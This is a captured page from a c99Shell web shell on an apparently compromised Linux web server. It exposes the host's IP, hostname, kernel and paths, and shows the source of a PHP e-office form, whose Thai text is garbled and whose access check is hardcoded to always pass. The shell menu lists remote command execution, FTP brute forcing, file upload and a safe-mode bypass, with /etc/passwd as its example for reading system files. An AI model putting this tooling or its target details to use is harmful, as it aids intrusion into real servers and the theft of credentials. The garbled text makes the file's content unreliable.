110.164.51.230 - phpshell

!c99Shell v. 1.0 pre-release build #16!
Software: Apache/2.2.3 (CentOS). PHP/5.1.6 uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44 EDT 2010 i686 uid=48(apache) gid=48(apache) groups=48(apache) Safe-mode: OFF (not secure) /var/www/html/manage/person/admin/ drwxr-xr-x Free 52.32 GB of 127.8 GB (40.94%) Encoder Tools Proc. FTP brute Sec. SQL PHP-code Update Feedback Self remove Logout

!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686

uid=48(apache) gid=48(apache) groups=48(apache)

Safe-mode: OFF (not secure)

/var/www/html/manage/person/admin/ drwxr-xr-x
Free 52.32 GB of 127.8 GB (40.94%)
Encoder Tools Proc. FTP brute Sec. SQL PHP-code Update Feedback Self remove Logout

Viewing file: editRunningDocConfirm.php (6.37 KB) -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |

<?php

include_once "template.php";
include_once "../class/clsTable.php";
include_once "../class/clsDepartment.php";
include_once "../class/clsPerson.php";
include_once "../link/function.php";
include_once "../class/clsDocType.php";
include_once "../class/clsRunningDoc.php";
include_once "funct.php";
include_once "../link/keyThai.php";
$oC = new clsConnection($GLOBALS['DBHOST'], $GLOBALS['DBNAME_EOFFICE'], $GLOBALS['DBUSER_EOFFICE'], $GLOBALS['DBPASS_EOFFICE']);

$oDP = new Department($oC);
$oDt = new doctype($oC);
$oRd = new runningdoc($oC);
$InputThai=$oSys->SearchByInputThai();
$maxgroup=$oDP->SearchMaxDocGroup();
$oRd->SearchByconfirmRunAll($maxgroup);
$oRd->GetRecord();
$confirm=$oRd->confirm;
/////////
$Pass=1;
////////
if($Pass=="1"){
?>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=tis-620">
<link href="../source/style.css" rel="stylesheet" type="text/css">
</head>
<body>
<iframe id="addrunningDoc" name="addrunningDoc" src="" style="width:$0px;height:0px;border:0"></iframe>
<br>
<table  width=703  align="center">
<tr><td height="150">
<fieldset>
      <legend><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>"><a href="?mm=1">µСй§¤иТЎТГгЄй§Т№ГРєє</a>
      <img src="../picture/ico3.gif" width="10" height="10" border="0" align="absmiddle"><a href="runningDoc.php">µСй§¤иТаЕў·РаєХВ№Л№С§КЧНГТЄЎТГ·ХигЄйГиЗБЎС№</a>
<img src="../picture/ico3.gif" width="10" height="10" border="0" align="absmiddle">бЎйдўўйНБЩЕ·РаєХВ№Л№С§КЧН
</font></legend><br>
	   <form name="ff" action="processRunningDoc.php" method="post" target="addrunningDoc">  
        <table width="97%" height="22" border="1" align="center" cellpadding="0" cellspacing="0" bordercolor="#DADADA" style="border-collapse:collapse" bgcolor="<?php echo $GLOBALS['COLOR_BG_TD_17'];?>">
          <tr bgcolor="<?php echo $GLOBALS['COLOR_BG_TD_15'];?>" height="22"> 
           <td width= "23%" align="center"><font size="2"><strong>·РаєХВ№Л№С§КЧН</strong></font></td>
            <td width="13%" align="center"><font size="2"><strong>аЕў·РаєХВ№ГСє<br>аГФиБµй№</strong></font></td>
            <td width="13%" align="center"><font size="2"><strong>аЕў·РаєХВ№ГСє<br>»СЁЁШєС№</strong></font></td>
             <td width="13%" align="center"><font size="2"><strong>аЕў·РаєХВ№Ки§<br>аГФиБµй№</strong></font></td>
             <td width="13%" align="center"><font size="2"><strong>аЕў·РаєХВ№Ки§<br>»СЁЁШєС№</strong></font></td>
			  <td width="12%" align="center"><font size="2"><strong>аЕўЕ§·РаєХВ№<br>&nbsp;</strong></font></td>
			  <td width="12%" align="center"><font size="2"><strong>аЕўЕ§·РаєХВ№<br>»СЁЁШєС№</strong></font></td>
          </tr>
		  <? $oDt->RSdoctypeDtRunAll(); 
		  		while($oDt->GetRecord()){  
					if($oDt->DtP=="1"){
							echo "<tr height=22><td colspan=5 align=\"left\">&nbsp;&nbsp;"; if($oDt->DtPDtID=="0"){  echo "<strong>";  }else{  echo "&nbsp;&nbsp;-&nbsp;";  } echo "·РаєХВ№".$oDt->DtName;    if($oDt->DtPDtID=="0"){  echo "<strong></td></tr>";  } 		
					}else{	
							 $oRd->SearchBydocGroupDtID($maxgroup,$oDt->DtID);
							 $oRd->GetRecord();
			?>
		  <tr height=22>
		  <td align="left">&nbsp;&nbsp;<? if($oDt->DtPDtID=="0"){  echo "<strong>";  }else{  echo "&nbsp;&nbsp;-&nbsp;";  }  ?>·РаєХВ№<? echo $oDt->DtName;    if($oDt->DtPDtID=="0"){  echo "<strong>";  } ?></td>
		  <td align="center">
		  <? if($oDt->forRegis=="Y"){ echo "-";  }else{  ?>
		  <input type="text" name="receiveNoStart[<? echo $oDt->DtID; ?>]" style=text-align:center size="5" maxlength="11" onKeyPress="event.keyCode=CheckInput(event.keyCode,'<? echo $InputThai; ?>'); return event.keyCode;"  value=<? echo a2th($oRd->receiveNoStart); ?>>
		  <? } ?>
		  </td>
		  <td align="center">
		  <? if($oDt->forRegis=="Y"){ echo "-";  }else{  ?>
		  <input type="text" name="receiveNo[<? echo $oDt->DtID; ?>]" style=text-align:center size="5" maxlength="11" onKeyPress="event.keyCode=CheckInput(event.keyCode,'<? echo $InputThai; ?>'); return event.keyCode;"  value=<? echo a2th($oRd->receiveNo); ?>></td>
		 <? } ?>
		  <td align="center">
		  <? if($oDt->forRegis=="Y"){ echo "-";  }else{  ?>
		    <input type="text" name="sendNoStart[<? echo $oDt->DtID; ?>]" style=text-align:center size="5" maxlength="11" onKeyPress="event.keyCode=CheckInput(event.keyCode,'<? echo $InputThai; ?>'); return event.keyCode;" value=<? echo a2th($oRd->sendNoStart); ?>>
			<? } ?>
			</td>		  
		  <td align="center">
		  <? if($oDt->forRegis=="Y"){ echo "-";  }else{  ?>
		  <input type="text" name="sendNo[<? echo $oDt->DtID; ?>]" style=text-align:center size="5" maxlength="11" onKeyPress="event.keyCode=CheckInput(event.keyCode,'<? echo $InputThai; ?>'); return event.keyCode;" value=<? echo a2th($oRd->sendNo); ?>></td>
		 <? } ?>
		 <td align="center"><? if($oDt->forRegis!="Y"){ echo "-";  }else{  ?><input type="text" name="regisNoStart[<? echo $oDt->DtID; ?>]" style=text-align:center size="5" maxlength="11" onKeyPress="event.keyCode=CheckInput(event.keyCode,'<? echo $InputThai; ?>'); return event.keyCode;"  value=<? echo a2th($oRd->regisNoStart); ?>><? } ?></td>
		  <td align="center"><? if($oDt->forRegis!="Y"){ echo "-";  }else{  ?><input type="text" name="regisNo[<? echo $oDt->DtID; ?>]" style=text-align:center size="5" maxlength="11" onKeyPress="event.keyCode=CheckInput(event.keyCode,'<? echo $InputThai; ?>'); return event.keyCode;"  value=<? echo a2th($oRd->regisNo); ?>><? } ?></td>

		  </tr>
		  <?  } //show
		     }  //while ?>
        </table>
	  <table align="center" width="85%">
	  <tr><td >&nbsp;</td></tr>
	  <tr><td colspan="2" align="center">
	  				<input type="submit" name="editsetrunningDoc" value="бЎйдў" onClick="return checkFormat();">
                <input type="button" name="cancel" value="ВЎаЕФЎ" onClick="location.href = 'runningDoc.php'">
				<input type="hidden" name="docGroup" value="<? echo $maxgroup; ?>" >
				<input type="hidden" name="method">			
			</td></tr>
	  </table></form>
</fieldset>
       
    </td>
</tr>
</table>
</body>
</html>

<script language="javascript">
function checkFormat(){
		var agree=confirm("¤ШіµйН§ЎТГбЎйдўўйНБЩЕ·РаєХВ№Л№С§КЧНГТЄЎТГ·ХигЄйГиЗБЎС№гЄиЛГЧНдБи ?");
		if (agree){
			document.ff.method.value="editsetrunningDoc";
			return true ;
		}else{
			return false ;
		}	
}
</script>
<? }else{  echo "<br><br><font color=\"#8C0000\"><strong>**ЎГШіТЕ§ЄЧиНаўйТгЄй§Т№ЎТГбЎйдўаЕў·РаєХВ№Л№С§КЧН**</strong></font>"; } ?>

:: Command execute ::
Enter:	Select:

:: Shadow's tricks :D ::
Useful Commands Warning. Kernel may be alerted using higher levels	Kernel Info:

:: Preddy's tricks :D ::
Php Safe-Mode Bypass (Read Files) File: eg: /etc/passwd	Php Safe-Mode Bypass (List Directories): Dir: eg: /etc/

:: Search ::

:: Upload ::

:: Make Dir ::

:: Make File ::

:: Go Dir ::

:: Go File ::

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0057 ]--